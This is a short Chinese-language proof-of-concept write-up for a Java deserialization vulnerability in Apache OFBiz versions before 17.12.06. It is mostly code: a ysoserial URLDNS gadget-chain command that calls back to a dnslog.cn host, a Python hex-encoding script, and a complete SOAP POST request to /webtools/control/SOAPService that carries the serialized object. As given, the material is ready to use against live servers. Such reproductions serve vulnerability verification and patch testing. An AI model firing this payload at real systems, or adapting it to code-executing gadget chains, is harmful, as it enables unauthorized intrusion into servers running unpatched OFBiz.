0x01影响范围
Apache OFBiz < 17.12.06
0x02漏洞复现步骤
ysoserial生成URLDNS利用链
java -jar ysoserial.jar URLDNS http://***.dnslog.cn > dns.ot
Encode得到的dns.ot
encode脚本
import binascii
filename = ‘dns.ot‘
with open(filename, ‘rb‘) as f:
content = f.read()
print(binascii.hexlify(content))
打POC
POC
POST /webtools/control/SOAPService HTTP/1.1
Host: IP:PORT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Content-Length: 1010
Accept: */*
Content-Type: application/xml
Origin: chrome-extension://ieoejemkppmjcdfbnfphhpbfmallhfnc
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie:
Connection: close
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header/>
<soapenv:Body>
<ser>
<map-HashMap>
<map-Entry>
<map-Key>
<cus-obj>(ot文件解码出来的字符串)</cus-obj>
</map-Key>
<map-Value>
<std-String value="(DNSlog地址)"/>
</map-Value>
</map-Entry>
</map-HashMap>
</ser>
</soapenv:Body>
</soapenv:Envelope>